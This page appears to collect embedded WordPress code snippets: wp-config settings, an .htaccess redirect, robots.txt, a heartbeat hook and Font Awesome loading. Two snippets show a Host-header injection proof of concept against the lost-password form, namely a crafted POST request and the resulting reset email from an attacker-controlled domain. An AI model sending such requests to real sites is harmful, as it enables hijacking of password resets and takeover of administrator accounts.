This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
define('WP_HOME','https://your-site.com'); | |
define('WP_SITEURL','https://your-site.com'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Options +FollowSymLinks | |
RewriteEngine on | |
RewriteRule ^(.*)$ https://tenmienmoi.com/$1 [R=301,L] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
User-agent: * | |
Disallow: /wp-admin/ | |
Disallow: /readme.html | |
Disallow: /license.txt | |
Disallow: /?s=* | |
Allow: /wp-admin/admin-ajax.php | |
Allow: /wp-admin/images/* | |
Sitemap: https://wpcanban.com/sitemap_index.xml |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Enable WP_DEBUG mode | |
define('WP_DEBUG', true); | |
// Enable Debug logging to the /wp-content/debug.log file | |
define('WP_DEBUG_LOG', true); | |
// Disable display of errors and warnings | |
define('WP_DEBUG_DISPLAY', false); | |
@ini_set('display_errors',0); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action( 'init', 'stop_heartbeat', 1 ); | |
function stop_heartbeat() { | |
wp_deregister_script('heartbeat'); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
------[ resulting e-mail ]----- | |
Subject: [CompanyX WP] Password Reset | |
Return-Path: <wordpress@attackers-mxserver.com> | |
From: WordPress <wordpress@attackers-mxserver.com> | |
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com> | |
X-Priority: 3 | |
MIME-Version: 1.0 | |
Content-Type: text/plain; charset=UTF-8 | |
Content-Transfer-Encoding: 8bit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-----[ HTTP Request ]---- | |
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 | |
Host: injected-attackers-mxserver.com | |
Content-Type: application/x-www-form-urlencoded | |
Content-Length: 56 | |
user_login=admin&redirect_to=&wp-submit=Get+New+Password | |
------------------------ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<i class="fa fa-home" aria-hidden="true"></i> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<span class="fa fa-home"></span> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action( 'wp_enqueue_scripts', 'load_font_awesome' ); | |
function load_font_awesome() { | |
wp_enqueue_style( 'font-awesome', '//netdna.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css', array(), '4.7.0' ); | |
} |